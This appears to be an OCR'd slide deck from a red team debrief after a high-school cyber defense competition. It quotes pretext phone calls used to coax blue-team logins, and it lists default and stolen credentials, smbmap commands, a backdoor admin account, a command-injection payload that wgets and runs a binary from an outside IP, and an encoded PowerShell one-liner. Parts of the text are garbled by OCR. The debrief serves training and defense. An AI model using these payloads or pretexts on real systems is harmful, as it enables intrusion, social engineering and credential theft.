Red Team Debrief "

ISUCDC - HighSchool(2026)

"Why dont you jusmUnplug
the hacker?" = .

Thanks Doug- Burket






Helpful phone calls!

'I sat in that same seat for many years'
"I was on blue for many years"
“I'm just here to help"

"I just come back to help"
“I just understand there's a lot of people”
"Yeah I'm here on site"

"Presumably Red Team is trying to take your

flags"
"Yeah they've taken my flags, been there"

"If you just wanna give me a blue login I can login and 'help' you"
"Again I am helping every team I am offering the same help through

every team"
"If you wanna give me the creds that wi- I will fix it"

"Green team memes? I love green memes!"






Default Creds && Sensitive Data

5/11 Teams still had Default Credentrials
(EWE-1392: Use of Default Credentials)

e Able to automate creation of new users and
grab flags instantly

e A team left all of their blue flags on one
device, allowing for flag capture without
additional work needed

HMI defacement by CyberAv3ngers using
default password "1111°

Output from SNAFFLER, a tool to help find
creds in a massive AD environment.



SMB NULL authentication + command execution
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ZeroLogon
Notes about zero logon




Secrets Dum! |




Command Injection

Linux command injection vulnerability in filePath variable in LabelGenerator.java on WMS

String jsc

nstring

cring file

command} );

asdf\"; wget http://12.110.206.199:443/t -0 /tmp/a; chmod +x /tmp/a; /tmp/a; echo \"asdf
Results in the following being executed

echo ‘insert label json here’ > “asdf”; wget http://12.110.206.199:443/t -0 /tmp/a; chmod +x /tmp/a; /tmp/a; echo “asdf”



ad.team7.isucdc.com
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Hmmmmmm

Logout

Logged in as: amrutyakudigram



Red Wiki:

SMB flag commands:

DOWNLOAD: smbmap -H ad.team40.isucdc.com -u 'david.ward' -p 'vin938fec' --download "C$/Windows/System32/team11_ad-cwindowssystem32.flag"
UPLOAD: mbmap -H ad.team40.isucdc.com -u 'david.ward' -p 'keq414buz’ --upload Downloads/2025-c3/team4/team4_ad-cusersadministrator.flag
'C$/Users/Administrator/team4_ad-cusersadministrator.flag'

Backdoor local admin user on LP for team 1, 4, 6, 10, 11, 13

Username: adminsitrator

Password: Redteamuser123

Abused null SMB authentication, wrote a powershell script that creates local user and adds to Administrators local group

NOTE: Team 1 and Team 4 appear to have removed access for the backdoor user, however, NULL auth to the Labels SMB share is still allowed
ALSO NOTE: Team 6 and 10 are not real

SHARED CREDS
sandra.henderson->ROCK123
darren.williams->blues22
allison.hamilton->tiny85
lori.petersen->ricale

john.leguizamo:lordoftheflame, cdc:cdc, root:cdc

OK team=1 host=www.team1.isucdc.com user=john.leguizamo reason=ok
OK team=4 host=wms.team4.isucdc.com user=cdc reason=0k

OK team=4 host=www.team4.isucdc.com user=root reason=ok

OK team=7 host=wms.team?7.isucdc.com user=cdc reason=ok

OK team=7 host=www.team?7.isucdc.com user=cdc reason=ok

OK team=11 host=wms.team11.isucdc.com user=root reason=ok

OK team=13 host=wms.team13.isucdc.com user=cdc reason=ok

OK team=13 host=www.team13.isucdc.com user=cdc reason=ok

OK team=13 host=db.team13.isucdc.com user=cdc reason=ok



Default creds found for:

- Team1

- Ip.team1.isucdc.com, RDP && SMB, Administrator:cdc
- Team4

- wms.team4.isucdc.com, SSH, cdc:cdc

- db.team4.isucdc.com, SSH, richard:cdc

- Team7

- www][.]Jteam7.isucdc.com, SSH, cdc:cdc

- wms.team?7.isucdc.com, SSH, cdc:cdc

- Team12

- db.team12.isucdc.com, SSH, richard:cdc

- Team13

- ad.team13.isucdc.com, LDAP, Administrator:cdc

- www][.]Jteam13.isucdc.com, SSH, cdc:cdc

- Ip.team13.isucdc.com, RDP && SMB, Administrator:cdc
- wms.team13.isucdc.com, SSH, cdc:cdc

New user on teams 4,7,13 for www, wms, and db - “killer-bob:whokilledlaurapalmer® or “killer.bob:WhoKilledLauraPalmer®, or “killerbob:whokilledlaurapalmer’.
mysql -u cdc -p'cdc’ -h db.team9.isucdc.com

use iseage_db;

create table if not exists red (id int AUTO_INCREMENT PRIMARY KEY, flag VARCHAR(50) NOT NULL);

insert into red (flag) values ('Lx56MVFytdT9dhiLpmc3T457vBwbMtDV2FTEUzXEQtSrGQDSWp');

select * from red;

asdf\"; wget http://12.110.206.199:443/t -O /tmp/a; chmod +x /tmp/a; /tmp/a; \"asdf

powershell -e aQByAGOAKAANAGgAdABOAHAAOgAVACSBAMQAYAC4AMQAXADAALgAYADIANgAUADEANgA2AC8ACcgAUAHAACWAXACCAKQBBAGKAZQB4AA==



Anomalies (Troy)






MySpace Anomaly
(Follow Tom Anderson)

Disconnect Tom Anderson
tom
Share Los Angeles, CA
@ 1us 15547
Send
Message
Former first friend: I'm not working for

Block the company now, ya'all :-)
!TW’SDJCE‘UITI com

Report © Some Nights - fun.

[ WHITETEAM WATCE

3 ..

Green Meme Red Meme

White team
regenerates
our passwords

We can't set 3,
the new passwords |




TUX PAINT!
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